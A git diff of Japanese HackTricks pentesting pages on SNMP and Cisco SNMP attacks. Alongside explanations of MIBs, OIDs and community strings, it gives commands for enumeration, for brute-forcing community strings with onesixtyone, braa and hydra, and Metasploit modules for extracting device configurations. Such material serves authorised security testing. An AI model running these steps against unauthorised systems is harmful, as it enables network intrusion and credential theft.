||||
|
||||
## 参考文献
|
||||
|
||||
* [https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/](https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/)
|
||||
|
@ -211,15 +293,14 @@ return 0; }
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使用して、ゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* **HackTricksで企業を宣伝したい** または **HackTricksをPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする**
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -6,17 +6,21 @@
|
|||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
|
||||
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
|
||||
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**あなたのハッキングテクニックを共有**してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**基本情報**
|
||||
**ハッキングキャリア**に興味がある方や**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## 基本情報
|
||||
|
||||
**SNMP - Simple Network Management Protocol**は、ネットワーク内のさまざまなデバイス(ルーター、スイッチ、プリンター、IoTなど)を監視するために使用されるプロトコルです。
|
||||
```
|
||||
|
@ -24,13 +28,13 @@ PORT STATE SERVICE REASON VERSION
|
|||
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
|
||||
```
|
||||
{% hint style="info" %}
|
||||
SNMPは**トラップ**のためにもポート**162/UDP**を使用します。これらは、**明示的に要求されていない場合にSNMPサーバーからクライアントに送信されるデータパケット**です。
|
||||
SNMPは**トラップ**用にもポート**162/UDP**を使用します。これらは、**明示的に要求されていない場合にSNMPサーバーからクライアントに送信されるデータパケット**です。
|
||||
{% endhint %}
|
||||
|
||||
### MIB
|
||||
|
||||
SNMPアクセスがさまざまな製造業者や異なるクライアントサーバーの組み合わせで機能するようにするために、**Management Information Base(MIB)**が作成されました。MIBは**デバイス情報を格納するための独立した形式**です。MIBは**標準化された**ツリー階層にリストされたデバイスのすべての問い合わせ可能な**SNMPオブジェクト**が記載された**テキスト**ファイルです。少なくとも1つの`Object Identifier(OID)`を含み、**一意のアドレスと名前に加えて、各オブジェクトのタイプ、アクセス権、および説明も提供**します。\
|
||||
MIBファイルは、`Abstract Syntax Notation One(ASN.1)`ベースのASCIIテキスト形式で記述されます。**MIBにはデータが含まれていない**が、**どこでどの情報を見つけるか**、それがどのように見えるか、特定のOIDの値を返すか、使用されるデータ型などについて説明します。
|
||||
SNMPアクセスがさまざまな製造業者や異なるクライアントサーバーの組み合わせで機能するようにするために、**Management Information Base (MIB)** が作成されました。MIBは、デバイス情報を格納する**独立した形式**です。MIBは、すべての問い合わせ可能な**SNMPオブジェクト**が**標準化された**ツリー階層でリストされた**テキスト**ファイルです。少なくとも1つの`Object Identifier(OID)`を含み、**一意のアドレス**と**名前**に加えて、各オブジェクトのタイプ、アクセス権、および説明も提供します。\
|
||||
MIBファイルは、`Abstract Syntax Notation One(ASN.1)`ベースのASCIIテキスト形式で記述されます。**MIBにはデータが含まれていません**が、**どこでどの情報を見つけるか**、どのようなものか、特定のOIDの値を返すか、使用されるデータ型などについて説明します。
|
||||
|
||||
### OIDs
|
||||
|
||||
|
@ -40,9 +44,9 @@ MIBオブジェクトID(OID)の最上位レベルは、さまざまな標準
|
|||
|
||||
さらに、ベンダーはプライベートブランチを設立する権利を与えられています。これらのブランチ内では、**独自の製品ラインに関連する管理オブジェクトを含める権限**があります。このシステムにより、異なるベンダーや標準間でさまざまなオブジェクトを識別および管理するための構造化された方法が確立されています。
|
||||
|
||||
![](../../.gitbook/assets/snmp_oid_mib_tree.png)
|
||||
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
|
||||
|
||||
ここから**OIDツリー**をウェブで**ナビゲート**できます:[http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus)または`1.3.6.1.2.1.1`のようなOIDが何を意味するかを確認できます:[http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)。\
|
||||
ここから**OIDツリー**をウェブで**ナビゲート**できます:[http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) または、`1.3.6.1.2.1.1`のようなOIDが意味するものを確認できます:[http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)。\
|
||||
[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1)内のような**よく知られたOID**があり、これはMIB-2で定義されたSimple Network Management Protocol(SNMP)変数を参照しています。そして、このOIDから**派生するOID**からいくつかの興味深いホストデータ(システムデータ、ネットワークデータ、プロセスデータなど)を取得できます。
|
||||
|
||||
### **OIDの例**
|
||||
|
@ -53,16 +57,16 @@ MIBオブジェクトID(OID)の最上位レベルは、さまざまな標準
|
|||
|
||||
このアドレスの詳細は次のとおりです。
|
||||
|
||||
* 1 – これはISOと呼ばれ、これがOIDであることを確立します。これはすべてのOIDが「1」で始まる理由です。
|
||||
* 1 – これはISOと呼ばれ、これがOIDであることを確立します。これがすべてのOIDが「1」で始まる理由です。
|
||||
* 3 – これはORGと呼ばれ、デバイスを構築した組織を指定するために使用されます。
|
||||
* 6 – これはdodまたはDepartment of Defenseであり、最初にインターネットを確立した組織です。
|
||||
* 1 – これはインターネットの値で、すべての通信がインターネットを介して行われることを示します。
|
||||
* 4 – この値は、このデバイスが政府機関ではなく私企業によって製造されたことを決定します。
|
||||
* 1 – この値は、デバイスが企業またはビジネスエンティティによって製造されたことを示します。
|
||||
|
||||
これらの最初の6つの値はすべてのデバイスで同じであり、それらについての基本情報を提供します。政府機関によってデバイスが製造された場合を除いて、この数字のシーケンスはすべてのOIDで同じになります。
|
||||
これらの最初の6つの値はすべてのデバイスで同じであり、基本的な情報を提供します。これらの数字のシーケンスは、政府機関が製造したデバイス以外はすべてのOIDに対して同じになります。
|
||||
|
||||
次の一連の数字に進みます。
|
||||
次の数字に進みます。
|
||||
|
||||
* 1452 – このデバイスを製造した組織の名前を示します。
|
||||
* 1 – デバイスのタイプを説明します。この場合、アラームクロックです。
|
||||
|
@ -82,25 +86,25 @@ MIBオブジェクトID(OID)の最上位レベルは、さまざまな標準
|
|||
|
||||
SNMPには2つの重要なバージョンがあります:
|
||||
|
||||
* **SNMPv1**:主要なバージョンであり、**認証は文字列に基づいて**います(コミュニティ文字列)(すべての情報が平文で送信されます)。**バージョン2および2c**も情報を**平文で送信**し、**認証にコミュニティ文字列**を使用します。
|
||||
* **SNMPv1**:主要なバージョンであり、**認証は文字列に基づいて**います(コミュニティ文字列)、情報は**平文**で送信されます。**バージョン2および2c**も情報を**平文**で送信し、**認証にコミュニティ文字列**を使用します。
|
||||
* **SNMPv3**:より良い**認証形式**を使用し、情報は**暗号化**されます(**辞書攻撃**は実行できますが、SNMPv1およびv2よりも正しい資格情報を見つけるのははるかに難しいでしょう)。
|
||||
|
||||
### コミュニティ文字列
|
||||
|
||||
前述のように、**MIBに保存された情報にアクセスするには、バージョン1および2/2cのコミュニティ文字列、バージョン3の資格情報を知る必要があります。**\
|
||||
前述のように、**MIBに保存されている情報にアクセスするには、バージョン1および2/2cのコミュニティ文字列、バージョン3の資格情報を知る必要があります。**\
|
||||
**コミュニティ文字列には2種類**あります:
|
||||
|
||||
* **`public`**:主に**読み取り専用**機能
|
||||
* **`private`**:一般的に**読み取り/書き込み**
|
||||
* **`private`**:一般的に**読み取り/書き込み**機能
|
||||
|
||||
OIDの書き込み可能性は使用されるコミュニティ文字列に依存するため、**たとえ**「**public**」が使用されているとわかっても、**一部の値を書き込むことができる**可能性があります。また、**常に「読み取り専用」**であるオブジェクトが存在する**可能性**があります。\
|
||||
オブジェクトを**書き込もうと**すると、**`noSuchName`または`readOnly`エラー**が受信されます。
|
||||
OIDの書き込み可能性は使用されるコミュニティ文字列に依存するため、**"public"**が使用されていても、**一部の値を書き込むことができる**可能性があります。また、**常に "読み取り専用"** であるオブジェクトが存在する可能性があります。\
|
||||
オブジェクトを**書き込もうとする**と、**`noSuchName`または`readOnly`エラー**が受信されます。
|
||||
|
||||
バージョン1および2/2cでは、**誤った**コミュニティ文字列を使用するとサーバーが**応答しない**ため、サーバーが応答した場合は**有効なコミュニティ文字列が使用された**ことになります。
|
||||
バージョン1および2/2cでは、**誤った**コミュニティ文字列を使用するとサーバーが**応答しない**ため、応答がある場合は**有効なコミュニティ文字列**が使用されています。
|
||||
|
||||
## ポート
|
||||
|
||||
[Wikipediaから](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol):
|
||||
[Wikipediaより](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol):
|
||||
|
||||
* SNMPエージェントはUDPポート**161**でリクエストを受信します。
|
||||
* マネージャーはポート**162**で通知([トラップ](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap)および[InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest))を受信します。
|
||||
|
@ -112,7 +116,7 @@ OIDの書き込み可能性は使用されるコミュニティ文字列に依
|
|||
|
||||
## SNMPの列挙
|
||||
|
||||
デバイスから収集された**各OIDの意味**を確認するために、以下をインストールすることをお勧めします:
|
||||
デバイスから収集された**各OIDの意味**を確認するには、以下をインストールすることをお勧めします:
|
||||
```bash
|
||||
apt-get install snmp-mibs-downloader
|
||||
download-mibs
|
||||
|
@ -139,7 +143,7 @@ braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
|
|||
```bash
|
||||
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
```
|
||||
**SNMP**には、ホストに関する多くの情報が含まれており、興味深い情報には、**ネットワークインターフェイス**(IPv4および**IPv6**アドレス)、ユーザー名、稼働時間、サーバー/OSバージョン、および**プロセス**(パスワードを含む場合があります)が含まれています。
|
||||
**SNMP**には、ホストに関する多くの情報が含まれており、興味深い情報には、**ネットワークインターフェース**(IPv4および**IPv6**アドレス)、ユーザー名、稼働時間、サーバー/OSバージョン、および**プロセス**(パスワードを含む場合があります)があります。
|
||||
|
||||
### **危険な設定**
|
||||
|
||||
|
@ -147,16 +151,16 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
|||
|
||||
### アクセス設定
|
||||
|
||||
ネットワーク管理において、重要な設定の1つは、ネットワーク管理において重要な**完全なOIDツリー**へのアクセスを可能にする2つの主要な設定です:
|
||||
ネットワーク管理において、完全なOIDツリーへのアクセスを可能にする2つの主要な設定があります:
|
||||
|
||||
1. **`rwuser noauth`**は、認証を必要とせずにOIDツリーへの完全なアクセスを許可するように設定されています。この設定は直感的で制限なしのアクセスを可能にします。
|
||||
2. より具体的な制御のために、次のようにアクセスを許可できます:
|
||||
* **IPv4**アドレスに対しては**`rwcommunity`**、および
|
||||
* **IPv6**アドレスに対しては**`rwcommunity6`**。
|
||||
|
||||
両方のコマンドは**コミュニティ文字列**と関連するIPアドレスが必要であり、リクエストの出所に関係なく完全なアクセスを提供します。
|
||||
両方のコマンドは**コミュニティ文字列**と関連するIPアドレスが必要で、リクエストの出所に関係なく完全なアクセスを提供します。
|
||||
|
||||
### Microsoft Windows向けSNMPパラメータ
|
||||
### Microsoft Windows用のSNMPパラメータ
|
||||
|
||||
Windowsシステムのさまざまな側面を監視するために使用される一連の**Management Information Base(MIB)値**がSNMPを介して利用されます:
|
||||
|
||||
|
@ -178,7 +182,7 @@ Cisco機器を使用している場合は、このページを参照してくだ
|
|||
|
||||
## SNMPからRCEへ
|
||||
|
||||
SNMPサービス内で**値を書き込む**ことを許可する**文字列**を持っている場合、それを悪用して**コマンドを実行**することができるかもしれません:
|
||||
SNMPサービス内で**値を書き込む**ことを許可する**文字列**を持っている場合、それを悪用して**コマンドを実行**する可能性があります:
|
||||
|
||||
{% content-ref url="snmp-rce.md" %}
|
||||
[snmp-rce.md](snmp-rce.md)
|
||||
|
@ -202,13 +206,13 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
|
|||
```
|
||||
### **プライベートストリングの特定**
|
||||
|
||||
重要なステップは、特にCisco IOSルーターで組織が使用している**プライベートコミュニティストリング**を特定することです。このストリングを使用すると、ルーターから**ランニング構成**を抽出できます。特定は、しばしば**grepコマンド**を使用してSNMPトラップデータを解析し、「trap」という単語を検索することに依存しています。
|
||||
重要なステップは、特にCisco IOSルーターで組織が使用している**プライベートコミュニティストリング**を特定することです。このストリングを使用すると、ルーターから**ランニング構成**を抽出できます。特定は、しばしば**grepコマンド**を使用してSNMPトラップデータを解析し、「trap」という単語を探すことに依存しています。
|
||||
```bash
|
||||
grep -i "trap" *.snmp
|
||||
```
|
||||
### **ユーザー名/パスワード**
|
||||
|
||||
MIBテーブルに保存されたログは、**失敗したログオン試行**を調べるために調べられます。これには、ユーザー名として入力されたパスワードが誤って含まれる可能性があります。_fail_、_failed_、または_login_などのキーワードを検索して、貴重なデータを見つけます。
|
||||
MIBテーブルに保存されているログは、**失敗したログオン試行**を調べるために調べられます。これには、ユーザー名として入力されたパスワードが誤って含まれる可能性があります。_fail_、_failed_、または_login_などのキーワードを検索して、貴重なデータを見つけます。
|
||||
```bash
|
||||
grep -i "login\|fail" *.snmp
|
||||
```
|
||||
|
@ -224,7 +228,7 @@ _**NetScanTools**_を使用して**値を変更**できます。これを行う
|
|||
|
||||
## スプーフィング
|
||||
|
||||
SMNPサービスへのクエリを許可するACLがある場合、UDPパケット内のこれらのアドレスの1つをスプーフィングしてトラフィックを嗅視できます。
|
||||
SMNPサービスへのクエリを許可するACLがある場合、UDPパケット内でそのアドレスの1つをスプーフィングしてトラフィックを嗅視できます。
|
||||
|
||||
## SNMP構成ファイルの調査
|
||||
|
||||
|
@ -232,9 +236,9 @@ SMNPサービスへのクエリを許可するACLがある場合、UDPパケッ
|
|||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味がある場合、そして**解読不能なものをハック**したい場合 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
**ハッキングキャリア**に興味がある方や、解読不能なものをハックしたい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -276,14 +280,14 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする**
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする**
|
||||
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,15 +4,15 @@
|
|||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するために** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味がある方、そしてハッキングできないものをハックしたい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
|
@ -20,53 +20,49 @@
|
|||
|
||||
## Ciscoネットワークのペンテスト
|
||||
|
||||
**SNMP**は、一般メッセージ用の161/UDPポートとトラップメッセージ用の162/UDPポートを介してUDP上で機能します。このプロトコルはコミュニティ文字列に依存し、SNMPエージェントとサーバー間の通信を可能にするパスワードとして機能します。これらの文字列は、アクセスレベル、特に**読み取り専用(RO)または読み書き可能(RW)権限**を決定するために重要です。ペンテスターの注目すべき攻撃ベクトルは、ネットワークデバイスに浸透することを目的とした**コミュニティ文字列の総当たり攻撃**です。
|
||||
|
||||
このような総当たり攻撃を実行するための実用的なツールは、[**onesixtyone**](https://github.com/trailofbits/onesixtyone)です。このツールには、潜在的なコミュニティ文字列のリストとターゲットのIPアドレスが必要です。
|
||||
**SNMP**は一般メッセージ用のポート161/UDPとトラップメッセージ用のポート162/UDPを介してUDP上で機能します。このプロトコルは、SNMPエージェントとサーバー間の通信を可能にするパスワードとして機能するコミュニティ文字列に依存しています。これらの文字列は、アクセスレベル、特に**読み取り専用(RO)または読み書き可能(RW)権限**を決定するために重要です。ペンテスターの注目すべき攻撃ベクトルは、ネットワークデバイスに浸透することを目的とした**コミュニティ文字列の総当たり攻撃**です。
|
||||
|
||||
このような総当たり攻撃を実行するための実用的なツールは、[**onesixtyone**](https://github.com/trailofbits/onesixtyone)です。このツールには、潜在的なコミュニティ文字列のリストとターゲットのIPアドレスが必要です:
|
||||
```bash
|
||||
onesixtyone -c communitystrings -i targets
|
||||
```
|
||||
|
||||
#### `cisco_config_tftp`
|
||||
|
||||
Metasploitフレームワークには`cisco_config_tftp`モジュールがあり、RWコミュニティ文字列を取得した場合にデバイス構成を抽出することができます。この操作には次の重要なパラメータが必要です:
|
||||
|
||||
* RWコミュニティ文字列(**COMMUNITY**)
|
||||
* 攻撃者のIP(**LHOST**)
|
||||
* ターゲットデバイスのIP(**RHOSTS**)
|
||||
* 構成ファイルの出力先パス(**OUTPUTDIR**)
|
||||
- RWコミュニティ文字列(**COMMUNITY**)
|
||||
- 攻撃者のIP(**LHOST**)
|
||||
- ターゲットデバイスのIP(**RHOSTS**)
|
||||
- 構成ファイルの出力先パス(**OUTPUTDIR**)
|
||||
|
||||
このモジュールを構成すると、デバイス設定を指定したフォルダに直接ダウンロードできます。
|
||||
|
||||
#### `snmp_enum`
|
||||
|
||||
別のMetasploitモジュール、\*\*`snmp_enum`\*\*は、詳細なハードウェア情報を収集することに特化しています。どちらのタイプのコミュニティ文字列でも動作し、成功するためにはターゲットのIPアドレスが必要です。
|
||||
|
||||
別のMetasploitモジュール、**`snmp_enum`**は、詳細なハードウェア情報を収集することに特化しています。どちらのタイプのコミュニティ文字列でも動作し、成功するためにはターゲットのIPアドレスが必要です。
|
||||
```bash
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
||||
```
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/jp/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
**ハッキングキャリア**に興味がある方や、**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,22 +1,22 @@
|
|||
# 80,443 - ウェブメソッドペンテスト
|
||||
# 80,443 - ウェブメソッドの侵入テスト方法論
|
||||
|
||||
<details>
|
||||
|
||||
